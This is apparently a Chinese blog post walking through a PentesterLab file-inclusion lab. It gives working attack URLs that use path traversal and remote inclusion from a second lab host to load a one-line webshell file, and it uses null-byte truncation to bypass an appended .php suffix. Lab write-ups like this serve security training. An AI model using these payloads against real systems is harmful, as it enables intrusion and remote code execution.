pentester系统文件包含漏洞实验

关于pentester系统的下载和安装可进入右边的链接进行学习——

 

 

 


 

 

  下面实验开始。

(1)example1本地文件包含漏洞

  (a)/home/user/目录下新建muma.txt文件,并写入一句话木马:

     

  (b)在浏览器中输入url

    http://192.168.227.148/fileincl/example1.php?page=../../../../../../../../home/user/muma.txt

 

     

 

 

 

(2)Example1远程文件包含漏洞

    同上,将路径名换成url:

    http://192.168.227.148/fileincl/example2.php?page=http://192.168.227.147/muma.txt

   

 

 

   

3example2本地文件包含漏洞

  (a)直接输入url

   

 

 

 

  报错!

  (b)按照错误信息找到产生漏洞的php文件:

   

 

 

 

  发现在我们输入的文件名后增加了php后缀,那么就要采取截断。

  (c)输入url

  http://192.168.227.148/fileincl/example2.php?page=../../../../../../home/user/muma.txt%00

   

 

 

 

4Example2远程文件包含漏洞

  (a)直接输入url

  http://192.168.227.148/fileincl/example2.php?page=http://192.168.227.147/muma.txt

   

 

 

 

  报错!

  (b)按照错误信息找到产生漏洞的php文件:

   

 

 

 

  发现在我们输入的文件名后增加了php后缀,那么就要采取截断。

  (c)输入url

  http://192.168.227.148/fileincl/example2.php?page=http://192.168.227.147/muma.txt%00

   

 

 

2020-03-08 18:21:03

 

 


 

posted @ 2020-03-08 18:23  ivyupward  阅读(259)  评论(0)    收藏  举报